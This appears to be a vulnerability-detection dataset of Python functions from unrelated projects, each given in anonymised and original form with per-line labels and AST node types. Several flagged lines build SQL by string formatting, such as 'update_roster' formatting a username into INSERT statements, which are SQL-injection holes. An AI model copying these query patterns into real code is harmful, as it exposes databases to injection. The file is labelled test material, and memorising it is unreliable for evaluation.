[ "def __init__(self):...\n", "self.requests = {}\n", "self.databuffer = {}\n", "self.last_alive = {}\n", "self.keep_alive = None\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'" ]
[ "def FUNC_0(self, VAR_27):...\n", "VAR_22 = self.gic.unproxy(self)\n", "VAR_32 = FdtNode('interrupt-controller')\n", "VAR_32.appendCompatible(['gem5,gic', 'arm,cortex-a15-gic', 'arm,cortex-a9-gic']\n )\n", "VAR_32.append(FdtPropertyWords('#interrupt-cells', [3]))\n", "VAR_32.append(FdtPropertyWords('#address-cells', [0]))\n", "VAR_32.append(FdtProperty('interrupt-controller'))\n", "VAR_33 = VAR_27.addrCells(VAR_22.dist_addr) + VAR_27.sizeCells(4096\n ) + VAR_27.addrCells(VAR_22.cpu_addr) + VAR_27.sizeCells(4096\n ) + VAR_27.addrCells(self.hv_addr) + VAR_27.sizeCells(8192\n ) + VAR_27.addrCells(self.vcpu_addr) + VAR_27.sizeCells(8192)\n", "VAR_32.append(FdtPropertyWords('reg', VAR_33))\n", "VAR_32.append(FdtPropertyWords('interrupts', [1, int(self.maint_int) - 16, \n 3844]))\n", "VAR_32.appendPhandle(VAR_22)\n", "yield VAR_32\n" ]
[ "def generateDeviceTree(self, state):...\n", "gic = self.gic.unproxy(self)\n", "node = FdtNode('interrupt-controller')\n", "node.appendCompatible(['gem5,gic', 'arm,cortex-a15-gic', 'arm,cortex-a9-gic'])\n", "node.append(FdtPropertyWords('#interrupt-cells', [3]))\n", "node.append(FdtPropertyWords('#address-cells', [0]))\n", "node.append(FdtProperty('interrupt-controller'))\n", "regs = state.addrCells(gic.dist_addr) + state.sizeCells(4096\n ) + state.addrCells(gic.cpu_addr) + state.sizeCells(4096\n ) + state.addrCells(self.hv_addr) + state.sizeCells(8192\n ) + state.addrCells(self.vcpu_addr) + state.sizeCells(8192)\n", "node.append(FdtPropertyWords('reg', regs))\n", "node.append(FdtPropertyWords('interrupts', [1, int(self.maint_int) - 16, 3844])\n )\n", "node.appendPhandle(gic)\n", "yield node\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Expr'", "Expr'", "Expr'", "Expr'", "Assign'", "Expr'", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_2(self):...\n", "\"\"\"docstring\"\"\"\n", "for fam in ('tape', 'disk', 'dir'):\n", "for VAR_6 in client.devices.get(family=fam):\n", "self.assertEqual(dev_family2str(VAR_6.family), fam)\n" ]
[ "def test_list_devices_by_family(self):...\n", "\"\"\"docstring\"\"\"\n", "for fam in ('tape', 'disk', 'dir'):\n", "for dev in client.devices.get(family=fam):\n", "self.assertEqual(dev_family2str(dev.family), fam)\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "For", "For", "Expr'" ]
[ "def FUNC_9(self):...\n", "for VAR_16, VAR_17, VAR_18, VAR_19 in self.wz_bind_methods:\n", "self.unbind_route(VAR_16, VAR_17)\n" ]
[ "def unbind_methods(self):...\n", "for i, m, f, t in self.wz_bind_methods:\n", "self.unbind_route(i, m)\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "For", "Expr'" ]
[ "def FUNC_5(self, VAR_4):...\n", "\"\"\"docstring\"\"\"\n", "if not os.path.exists(VAR_4):\n", "VAR_19 = os.path.dirname(VAR_4)\n", "if not os.path.isdir(VAR_19):\n", "try_to_create_directory(VAR_19)\n" ]
[ "def prepare_socket_file(self, socket_path):...\n", "\"\"\"docstring\"\"\"\n", "if not os.path.exists(socket_path):\n", "path = os.path.dirname(socket_path)\n", "if not os.path.isdir(path):\n", "try_to_create_directory(path)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "Assign'", "Condition", "Expr'" ]
[ "def FUNC_15(self, VAR_17, VAR_18):...\n", "VAR_26 = set(VAR_17.parameters.keys())\n", "VAR_27 = VAR_26 - self._targetparam\n", "VAR_25 = len(VAR_27)\n", "VAR_28 = len(self._targetparam - VAR_26)\n", "VAR_21 = fs.split_path(VAR_17.path)\n", "VAR_23 = min(self._lensplitpath, len(VAR_21))\n", "if VAR_25 == 1 and not VAR_28 and VAR_18.parameter:\n", "VAR_19 = VAR_27.pop()\n", "if not VAR_19 in self._store:\n", "self._store[VAR_19] = []\n", "self._store[VAR_19].append(VAR_17)\n" ]
[ "def test(self, pathctx, levelctx):...\n", "path_set = set(pathctx.parameters.keys())\n", "extra_param = path_set - self._targetparam\n", "extra_count = len(extra_param)\n", "missing_count = len(self._targetparam - path_set)\n", "testpath = fs.split_path(pathctx.path)\n", "lenpath = min(self._lensplitpath, len(testpath))\n", "if extra_count == 1 and not missing_count and levelctx.parameter:\n", "key = extra_param.pop()\n", "if not key in self._store:\n", "self._store[key] = []\n", "self._store[key].append(pathctx)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Assign'", "Expr'" ]
[ "def __init__(self, *VAR_2, **VAR_3):...\n", "super(CLASS_0, self).__init__(*VAR_2, **kwargs)\n", "self.cluster_vip = None\n" ]
[ "def __init__(self, *args, **kwargs):...\n", "super(HpSanISCSIDriver, self).__init__(*args, **kwargs)\n", "self.cluster_vip = None\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Assign'" ]
[ "def FUNC_3(VAR_3, VAR_4=None):...\n", "VAR_0 = CLASS_0(VAR_3)\n", "VAR_0.rule = VAR_4\n", "return VAR_0\n" ]
[ "def IOFile(file, rule=None):...\n", "f = _IOFile(file)\n", "f.rule = rule\n", "return f\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_5(self, VAR_18):...\n", "self.setResponseCode(302)\n", "self.setHeader(b'location', VAR_18)\n" ]
[ "def redirect(self, url):...\n", "self.setResponseCode(302)\n", "self.setHeader(b'location', url)\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Expr'" ]
[ "@app.route('/<issue_id>/delete', methods=['POST'])...\n", "if not current_user.is_admin:\n", "return redirect(url_for('error401'))\n", "VAR_5 = Issue.query.get(VAR_1)\n", "if not VAR_5:\n", "return redirect(url_for('error404'))\n", "VAR_6 = Article.query.filter_by(VAR_0=issue_id)\n", "for article in VAR_6:\n", "article.set_issue(0)\n", "db.session.delete(VAR_5)\n", "db.session.commit()\n", "return redirect(url_for('issues_index'))\n" ]
[ "@app.route('/<issue_id>/delete', methods=['POST'])...\n", "if not current_user.is_admin:\n", "return redirect(url_for('error401'))\n", "issue_to_delete = Issue.query.get(issue_id)\n", "if not issue_to_delete:\n", "return redirect(url_for('error404'))\n", "articles_in_issue = Article.query.filter_by(issue=issue_id)\n", "for article in articles_in_issue:\n", "article.set_issue(0)\n", "db.session.delete(issue_to_delete)\n", "db.session.commit()\n", "return redirect(url_for('issues_index'))\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Condition", "Return'", "Assign'", "Condition", "Return'", "Assign'", "For", "Expr'", "Expr'", "Expr'", "Return'" ]
[ "import os\n", "import sys\n", "import contextlib\n", "import enum\n", "from enum import Enum\n", "def FUNC_0():...\n", "VAR_0 = CLASS_0()\n", "VAR_0.run()\n", "\"\"\"\n The main shell class.\n \"\"\"\n", "def __init__(self):...\n", "self.builtins = {'exit': self._builtin_exit, 'pwd': self._builtin_pwd, 'cd':\n self._builtin_cd}\n", "def FUNC_1(self):...\n", "\"\"\"docstring\"\"\"\n", "while True:\n", "VAR_48 = self.readline()\n", "sys.exit(0)\n", "self.execute(VAR_48)\n" ]
[ "import os\n", "import sys\n", "import contextlib\n", "import enum\n", "from enum import Enum\n", "def main():...\n", "sh = Shell()\n", "sh.run()\n", "\"\"\"\n The main shell class.\n \"\"\"\n", "def __init__(self):...\n", "self.builtins = {'exit': self._builtin_exit, 'pwd': self._builtin_pwd, 'cd':\n self._builtin_cd}\n", "def run(self):...\n", "\"\"\"docstring\"\"\"\n", "while True:\n", "line = self.readline()\n", "sys.exit(0)\n", "self.execute(line)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Import'", "Import'", "Import'", "Import'", "ImportFrom'", "FunctionDef'", "Assign'", "Expr'", "Expr'", "FunctionDef'", "Assign'", "FunctionDef'", "Docstring", "Condition", "Assign'", "Expr'", "Expr'" ]
[ "def FUNC_5(self):...\n", "self.assertFalse({'name': 'DocType'} in DatabaseQuery('DocType').execute(\n filters={'name': ['like', 'J%']}))\n" ]
[ "def test_filters_3(self):...\n", "self.assertFalse({'name': 'DocType'} in DatabaseQuery('DocType').execute(\n filters={'name': ['like', 'J%']}))\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_1():...\n", "template.bootstrap({'templates': os.path.join(VAR_0, 'templates')})\n", "VAR_3 = FUNC_0()\n", "VAR_3.extend(handlers_endpoints.get_routes())\n", "return webapp2.WSGIApplication(VAR_3)\n" ]
[ "def create_frontend_app():...\n", "template.bootstrap({'templates': os.path.join(THIS_DIR, 'templates')})\n", "routes = get_routes()\n", "routes.extend(handlers_endpoints.get_routes())\n", "return webapp2.WSGIApplication(routes)\n" ]
[ 0, 0, 5, 0, 0 ]
[ "FunctionDef'", "Expr'", "Assign'", "Expr'", "Return'" ]
[ "__author__ = 'vladimir'\n", "import ujson\n", "from flask import Blueprint\n", "VAR_0 = '/user'\n", "VAR_1 = Blueprint('user', __name__)\n", "@VAR_1.route(VAR_0 + '/create', methods=['GET'])...\n", "return ujson.dumps({'success': True})\n" ]
[ "__author__ = 'vladimir'\n", "import ujson\n", "from flask import Blueprint\n", "BASE_URL = '/user'\n", "user = Blueprint('user', __name__)\n", "@user.route(BASE_URL + '/create', methods=['GET'])...\n", "return ujson.dumps({'success': True})\n" ]
[ 0, 0, 0, 4, 4, 0, 0 ]
[ "Assign'", "Import'", "ImportFrom'", "Assign'", "Assign'", "Condition", "Return'" ]
[ "@VAR_0.teardown_appcontext...\n", "\"\"\"docstring\"\"\"\n", "storage.close()\n" ]
[ "@app.teardown_appcontext...\n", "\"\"\"docstring\"\"\"\n", "storage.close()\n" ]
[ 0, 0, 0 ]
[ "Condition", "Docstring", "Expr'" ]
[ "def FUNC_4(self):...\n", "\"\"\"docstring\"\"\"\n", "self._check_flags()\n" ]
[ "def check_for_setup_error(self):...\n", "\"\"\"docstring\"\"\"\n", "self._check_flags()\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Expr'" ]
[ "def FUNC_2(VAR_2):...\n", "" ]
[ "def get_title_from_youtube_url(url):...\n", "" ]
[ 0, 0 ]
[ "FunctionDef'", "Condition" ]
[ "def FUNC_22(VAR_30, VAR_3):...\n", "if not isinstance(VAR_30, _IOFile):\n", "return IOFile(VAR_30, VAR_16=self)\n", "return VAR_30.apply_wildcards(VAR_3, fill_missing=f in self.dynamic_input,\n fail_dynamic=self.dynamic_output)\n" ]
[ "def concretize_iofile(f, wildcards):...\n", "if not isinstance(f, _IOFile):\n", "return IOFile(f, rule=self)\n", "return f.apply_wildcards(wildcards, fill_missing=f in self.dynamic_input,\n fail_dynamic=self.dynamic_output)\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Return'", "Return'" ]
[ "@api.route('/items', methods=['GET'])...\n", "VAR_1 = 'SELECT id, name_enus from tblDBCItem where auctionable = true;'\n", "VAR_2 = mysql.connection.cursor()\n", "VAR_2.execute(VAR_1)\n", "VAR_3 = VAR_2.fetchall()\n", "VAR_4 = []\n", "for row in VAR_3:\n", "VAR_6 = {}\n", "return jsonify({'items': VAR_4})\n", "for VAR_7 in zip([column[0] for column in VAR_2.description], row):\n", "VAR_6[VAR_7[0]] = VAR_7[1]\n", "VAR_4.append(VAR_6)\n" ]
[ "@api.route('/items', methods=['GET'])...\n", "sql = 'SELECT id, name_enus from tblDBCItem where auctionable = true;'\n", "cursor = mysql.connection.cursor()\n", "cursor.execute(sql)\n", "data = cursor.fetchall()\n", "results = []\n", "for row in data:\n", "item = {}\n", "return jsonify({'items': results})\n", "for tup in zip([column[0] for column in cursor.description], row):\n", "item[tup[0]] = tup[1]\n", "results.append(item)\n" ]
[ 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Assign'", "Assign'", "Expr'", "Assign'", "Assign'", "For", "Assign'", "Return'", "For", "Assign'", "Expr'" ]
[ "def FUNC_1(self, VAR_6, VAR_7, VAR_5):...\n", "VAR_14 = []\n", "VAR_14.append('string'.format(VAR_6))\n", "VAR_14.append('string'.format(VAR_6, VAR_5, VAR_7))\n", "for query in VAR_14:\n", "self.cur.execute(query)\n", "self.conn.commit()\n" ]
[ "def update_roster(self, username, role, server_id):...\n", "sql = []\n", "sql.append(\n \"\"\"INSERT INTO users (username)\n VALUES ('{0}')\n ON DUPLICATE KEY UPDATE username = '{0}';\n \"\"\"\n .format(username))\n", "sql.append(\n \"\"\"INSERT INTO roles (username, server_id, role)\n VALUES ('{0}', '{1}', '{2}')\n ON DUPLICATE KEY UPDATE role = '{2}';\n \"\"\"\n .format(username, server_id, role))\n", "for query in sql:\n", "self.cur.execute(query)\n", "self.conn.commit()\n" ]
[ 0, 4, 4, 4, 4, 4, 0 ]
[ "FunctionDef'", "Assign'", "Expr'", "Expr'", "For", "Expr'", "Expr'" ]
[ "def __init__(self, VAR_11=None):...\n", "resource.Resource.__init__(self)\n", "self.avatar = VAR_11\n", "self.use_security_proxy = get_config().getboolean('auth', 'security_proxy_rest'\n )\n" ]
[ "def __init__(self, avatar=None):...\n", "resource.Resource.__init__(self)\n", "self.avatar = avatar\n", "self.use_security_proxy = get_config().getboolean('auth', 'security_proxy_rest'\n )\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Assign'", "Assign'" ]
[ "def FUNC_26(self):...\n", "\"\"\"docstring\"\"\"\n", "VAR_2 = {'SEVERITY': {'LOW': 8, 'MEDIUM': 0, 'HIGH': 1}, 'CONFIDENCE': {\n 'HIGH': 9}}\n", "self.check_example('os-popen.py', VAR_2)\n" ]
[ "def test_os_popen(self):...\n", "\"\"\"docstring\"\"\"\n", "expect = {'SEVERITY': {'LOW': 8, 'MEDIUM': 0, 'HIGH': 1}, 'CONFIDENCE': {\n 'HIGH': 9}}\n", "self.check_example('os-popen.py', expect)\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Expr'" ]
[ "def __next__(self):...\n", "" ]
[ "def __next__(self):...\n", "" ]
[ 0, 0 ]
[ "FunctionDef'", "Condition" ]
[ "def FUNC_3(VAR_1, VAR_2):...\n", "\"\"\"docstring\"\"\"\n", "if VAR_2 is None:\n", "return None\n", "if not VAR_2.startswith('models:'):\n", "return VAR_2\n", "VAR_18 = VAR_2[7:VAR_2.rfind('/')].replace('/', '.')\n", "VAR_19 = f'parlai.zoo.{VAR_18}'\n", "print(VAR_19)\n", "VAR_36 = importlib.import_module(VAR_19)\n", "return VAR_20.path.join(VAR_1, 'models', VAR_2[7:])\n", "VAR_37 = getattr(VAR_36, 'download')\n", "VAR_37(VAR_1)\n" ]
[ "def modelzoo_path(datapath, path):...\n", "\"\"\"docstring\"\"\"\n", "if path is None:\n", "return None\n", "if not path.startswith('models:'):\n", "return path\n", "animal = path[7:path.rfind('/')].replace('/', '.')\n", "module_name = f'parlai.zoo.{animal}'\n", "print(module_name)\n", "my_module = importlib.import_module(module_name)\n", "return os.path.join(datapath, 'models', path[7:])\n", "download = getattr(my_module, 'download')\n", "download(datapath)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "Return'", "Condition", "Return'", "Assign'", "Assign'", "Expr'", "Assign'", "Return'", "Assign'", "Expr'" ]
[ "def FUNC_8(self):...\n", "return 'try to login'\n" ]
[ "def describe(self):...\n", "return 'try to login'\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Return'" ]
[ "from django.shortcuts import render, get_object_or_404, reverse, redirect, HttpResponse\n", "from django.urls import reverse_lazy\n", "from django.views import View\n", "from django.views.generic import CreateView, ListView, UpdateView, DeleteView\n", "from django.contrib.auth.mixins import LoginRequiredMixin\n", "from .forms import ShortUrlForm, JustURLForm, CategoryModelForm, ManyURLSForm, JustULRUpdateForm, CategoryUpdateModelForm, CounterCountingForm\n", "from .models import JustURL, Category, ClickTracking\n", "from .utils import create_short_url, token_generator, generate_csv, get_client_ip, check_input_url\n", "import re\n", "def FUNC_1(self, VAR_0, *VAR_2, **VAR_3):...\n", "VAR_11 = ShortUrlForm()\n", "return render(VAR_0, 'home.html', {'form': VAR_11})\n" ]
[ "from django.shortcuts import render, get_object_or_404, reverse, redirect, HttpResponse\n", "from django.urls import reverse_lazy\n", "from django.views import View\n", "from django.views.generic import CreateView, ListView, UpdateView, DeleteView\n", "from django.contrib.auth.mixins import LoginRequiredMixin\n", "from .forms import ShortUrlForm, JustURLForm, CategoryModelForm, ManyURLSForm, JustULRUpdateForm, CategoryUpdateModelForm, CounterCountingForm\n", "from .models import JustURL, Category, ClickTracking\n", "from .utils import create_short_url, token_generator, generate_csv, get_client_ip, check_input_url\n", "import re\n", "def get(self, request, *args, **kwargs):...\n", "form = ShortUrlForm()\n", "return render(request, 'home.html', {'form': form})\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "ImportFrom'", "Import'", "FunctionDef'", "Assign'", "Return'" ]
[ "def __enter__(self):...\n", "\"\"\"docstring\"\"\"\n", "if self._bin_found is None:\n", "if not os.path.exists(self.binary):\n", "if not self._bin_found:\n", "self._bin_found = True\n", "self.go_get()\n", "self._bin_found = False\n", "return self.gometalinter()\n", "self._install_linters()\n" ]
[ "def __enter__(self):...\n", "\"\"\"docstring\"\"\"\n", "if self._bin_found is None:\n", "if not os.path.exists(self.binary):\n", "if not self._bin_found:\n", "self._bin_found = True\n", "self.go_get()\n", "self._bin_found = False\n", "return self.gometalinter()\n", "self._install_linters()\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "Condition", "Condition", "Assign'", "Expr'", "Assign'", "Return'", "Expr'" ]
[ "from osv import osv\n", "from tools.translate import _\n", "import time\n", "VAR_0 = 'pos.open.statement'\n", "VAR_1 = 'Open Statements'\n", "def FUNC_0(self, VAR_2, VAR_3, VAR_4, VAR_5):...\n", "\"\"\"docstring\"\"\"\n", "VAR_6 = []\n", "VAR_7 = self.pool.get('ir.model.data')\n", "VAR_8 = self.pool.get('res.users').browse(VAR_2, VAR_3, VAR_3).company_id.id\n", "VAR_9 = self.pool.get('account.bank.statement')\n", "VAR_10 = self.pool.get('ir.sequence')\n", "VAR_11 = self.pool.get('account.journal')\n", "VAR_2.execute(\n 'select DISTINCT journal_id from pos_journal_users where user_id=%d order by journal_id'\n % VAR_3)\n", "VAR_12 = map(lambda x1: x1[0], VAR_2.fetchall())\n", "VAR_2.execute('string' % ','.join(map(lambda x: \"'\" + str(x) + \"'\", VAR_12)))\n", "VAR_13 = map(lambda x1: x1[0], VAR_2.fetchall())\n", "for journal in VAR_11.browse(VAR_2, VAR_3, VAR_13):\n", "VAR_4 = VAR_9.search(VAR_2, VAR_3, [('state', '!=', 'confirm'), ('user_id',\n '=', VAR_3), ('journal_id', '=', journal.id)])\n", "VAR_14 = self.pool.get('ir.model.data')\n", "if len(VAR_4):\n", "VAR_15 = VAR_14._get_id(VAR_2, VAR_3, 'account', 'view_bank_statement_tree')\n", "VAR_17 = ''\n", "VAR_16 = VAR_14._get_id(VAR_2, VAR_3, 'account', 'view_bank_statement_form2')\n", "if journal.sequence_id:\n", "if VAR_15:\n", "VAR_17 = VAR_10.get_id(VAR_2, VAR_3, journal.sequence_id.id)\n", "VAR_17 = VAR_10.get(VAR_2, VAR_3, 'account.bank.statement')\n", "VAR_15 = VAR_14.browse(VAR_2, VAR_3, VAR_15, VAR_5=context).res_id\n", "if VAR_16:\n", "VAR_18 = VAR_9.create(VAR_2, VAR_3, {'journal_id': journal.id, 'company_id':\n VAR_8, 'user_id': VAR_3, 'state': 'open', 'name': VAR_17,\n 'starting_details_ids': VAR_9._get_cash_close_box_lines(VAR_2, VAR_3, [])})\n", "VAR_16 = VAR_14.browse(VAR_2, VAR_3, VAR_16, VAR_5=context).res_id\n", "return {'domain': \"[('state','=','open')]\", 'name': 'Open Statement',\n 'view_type': 'form', 'view_mode': 'tree,form', 'res_model':\n 'account.bank.statement', 'views': [(VAR_15, 'tree'), (VAR_16, 'form')],\n 'type': 'ir.actions.act_window'}\n", "VAR_9.button_open(VAR_2, VAR_3, [VAR_18], VAR_5)\n" ]
[ "from osv import osv\n", "from tools.translate import _\n", "import time\n", "_name = 'pos.open.statement'\n", "_description = 'Open Statements'\n", "def open_statement(self, cr, uid, ids, context):...\n", "\"\"\"docstring\"\"\"\n", "list_statement = []\n", "mod_obj = self.pool.get('ir.model.data')\n", "company_id = self.pool.get('res.users').browse(cr, uid, uid).company_id.id\n", "statement_obj = self.pool.get('account.bank.statement')\n", "sequence_obj = self.pool.get('ir.sequence')\n", "journal_obj = self.pool.get('account.journal')\n", "cr.execute(\n 'select DISTINCT journal_id from pos_journal_users where user_id=%d order by journal_id'\n % uid)\n", "j_ids = map(lambda x1: x1[0], cr.fetchall())\n", "cr.execute(\n \"\"\" select id from account_journal\n where auto_cash='True' and type='cash'\n and id in (%s)\"\"\"\n % ','.join(map(lambda x: \"'\" + str(x) + \"'\", j_ids)))\n", "journal_ids = map(lambda x1: x1[0], cr.fetchall())\n", "for journal in journal_obj.browse(cr, uid, journal_ids):\n", "ids = statement_obj.search(cr, uid, [('state', '!=', 'confirm'), ('user_id',\n '=', uid), ('journal_id', '=', journal.id)])\n", "data_obj = self.pool.get('ir.model.data')\n", "if len(ids):\n", "id2 = data_obj._get_id(cr, uid, 'account', 'view_bank_statement_tree')\n", "number = ''\n", "id3 = data_obj._get_id(cr, uid, 'account', 'view_bank_statement_form2')\n", "if journal.sequence_id:\n", "if id2:\n", "number = sequence_obj.get_id(cr, uid, journal.sequence_id.id)\n", "number = sequence_obj.get(cr, uid, 'account.bank.statement')\n", "id2 = data_obj.browse(cr, uid, id2, context=context).res_id\n", "if id3:\n", "statement_id = statement_obj.create(cr, uid, {'journal_id': journal.id,\n 'company_id': company_id, 'user_id': uid, 'state': 'open', 'name':\n number, 'starting_details_ids': statement_obj._get_cash_close_box_lines\n (cr, uid, [])})\n", "id3 = data_obj.browse(cr, uid, id3, context=context).res_id\n", "return {'domain': \"[('state','=','open')]\", 'name': 'Open Statement',\n 'view_type': 'form', 'view_mode': 'tree,form', 'res_model':\n 'account.bank.statement', 'views': [(id2, 'tree'), (id3, 'form')],\n 'type': 'ir.actions.act_window'}\n", "statement_obj.button_open(cr, uid, [statement_id], context)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "ImportFrom'", "ImportFrom'", "Import'", "Assign'", "Assign'", "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "Expr'", "Assign'", "For", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Assign'", "Condition", "Condition", "Assign'", "Assign'", "Assign'", "Condition", "Assign'", "Assign'", "Return'", "Expr'" ]
[ "@app.route('/api/indi_profiles/<id>', methods=['GET'])...\n", "return controller.indi_profiles.lookup(VAR_4).to_map()\n" ]
[ "@app.route('/api/indi_profiles/<id>', methods=['GET'])...\n", "return controller.indi_profiles.lookup(id).to_map()\n" ]
[ 0, 0 ]
[ "Condition", "Return'" ]
[ "def FUNC_10(VAR_0, VAR_12, VAR_3, VAR_4):...\n", "if VAR_12[0] < 0:\n", "VAR_31 = VAR_3[VAR_12[0]]\n", "VAR_31 = VAR_12[0]\n", "VAR_7 = SymbolicInput(VAR_4[0], VAR_0, VAR_31, None)\n", "VAR_3[VAR_4[0]] = VAR_7\n", "VAR_4[0] -= 1\n", "return VAR_7.getId()\n" ]
[ "def param1Simple(op, params, symbols, symId):...\n", "if params[0] < 0:\n", "p0 = symbols[params[0]]\n", "p0 = params[0]\n", "x = SymbolicInput(symId[0], op, p0, None)\n", "symbols[symId[0]] = x\n", "symId[0] -= 1\n", "return x.getId()\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "AugAssign'", "Return'" ]
[ "@property...\n", "\"\"\"docstring\"\"\"\n", "if len(self.nodes) > 0:\n", "VAR_6 = self.nodes[-1].relation_operation\n", "VAR_6 = None\n", "return VAR_6\n" ]
[ "@property...\n", "\"\"\"docstring\"\"\"\n", "if len(self.nodes) > 0:\n", "rel_op = self.nodes[-1].relation_operation\n", "rel_op = None\n", "return rel_op\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "Condition", "Docstring", "Condition", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_13(self, VAR_9, VAR_10=None, VAR_11=None):...\n", "\"\"\"docstring\"\"\"\n", "VAR_28 = self.get_and_check_task(VAR_9, VAR_10, VAR_11, VAR_16={\n 'orthophoto_area': Envelope(Cast('orthophoto', GeometryField()))})\n", "VAR_30 = get_tile_json(VAR_28.name, [\n '/api/projects/{}/tasks/{}/tiles/{{z}}/{{x}}/{{y}}.png'.format(VAR_28.\n project.id, VAR_28.id)], VAR_28.orthophoto_area.extent)\n", "return Response(VAR_30)\n" ]
[ "def get(self, request, pk=None, project_pk=None):...\n", "\"\"\"docstring\"\"\"\n", "task = self.get_and_check_task(request, pk, project_pk, annotate={\n 'orthophoto_area': Envelope(Cast('orthophoto', GeometryField()))})\n", "json = get_tile_json(task.name, [\n '/api/projects/{}/tasks/{}/tiles/{{z}}/{{x}}/{{y}}.png'.format(task.\n project.id, task.id)], task.orthophoto_area.extent)\n", "return Response(json)\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "Return'" ]
[ "def FUNC_58():...\n", "VAR_36.execute('rollback')\n" ]
[ "def test():...\n", "cnxn.execute('rollback')\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_11(self):...\n", "\"\"\"docstring\"\"\"\n", "if len(self.tables) > 1:\n", "for VAR_73, VAR_34 in enumerate(self.fields):\n", "if '.' not in VAR_34:\n", "self.fields[VAR_73] = '{0}.{1}'.format(self.tables[0], VAR_34)\n" ]
[ "def set_field_tables(self):...\n", "\"\"\"docstring\"\"\"\n", "if len(self.tables) > 1:\n", "for i, f in enumerate(self.fields):\n", "if '.' not in f:\n", "self.fields[i] = '{0}.{1}'.format(self.tables[0], f)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "For", "Condition", "Assign'" ]
[ "def __init__(self):...\n", "super().__init__()\n", "self.on_member_join_callbacks = []\n", "self.on_member_remove_callbacks = []\n" ]
[ "def __init__(self):...\n", "super().__init__()\n", "self.on_member_join_callbacks = []\n", "self.on_member_remove_callbacks = []\n" ]
[ 0, 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Assign'", "Assign'" ]
[ "def FUNC_10(self):...\n", "\"\"\"docstring\"\"\"\n", "self.c.close()\n", "logging.error(T('Failed to close database, see log'))\n", "self.con.close()\n", "logging.info('Traceback: ', exc_info=True)\n" ]
[ "def close(self):...\n", "\"\"\"docstring\"\"\"\n", "self.c.close()\n", "logging.error(T('Failed to close database, see log'))\n", "self.con.close()\n", "logging.info('Traceback: ', exc_info=True)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Expr'", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_2():...\n", "\"\"\"docstring\"\"\"\n", "VAR_8 = subprocess.Popen('nmcli -t -f SSID,BARS device wifi list', shell=\n True, stdout=subprocess.PIPE).communicate()[0]\n", "VAR_9 = VAR_8.split('\\n')\n", "VAR_10 = []\n", "for row in VAR_9:\n", "VAR_20 = row.split(':')\n", "return VAR_10\n", "print(VAR_20)\n", "VAR_10.append(VAR_20)\n" ]
[ "def get_allAPs():...\n", "\"\"\"docstring\"\"\"\n", "ps = subprocess.Popen('nmcli -t -f SSID,BARS device wifi list', shell=True,\n stdout=subprocess.PIPE).communicate()[0]\n", "wifirows = ps.split('\\n')\n", "wifi = []\n", "for row in wifirows:\n", "entry = row.split(':')\n", "return wifi\n", "print(entry)\n", "wifi.append(entry)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "Assign'", "For", "Assign'", "Return'", "Expr'", "Expr'" ]
[ "def FUNC_1():...\n", "\"\"\"docstring\"\"\"\n", "return [sys.executable, VAR_0, 'run_isolated']\n" ]
[ "def get_run_isolated():...\n", "\"\"\"docstring\"\"\"\n", "return [sys.executable, THIS_FILE, 'run_isolated']\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Return'" ]
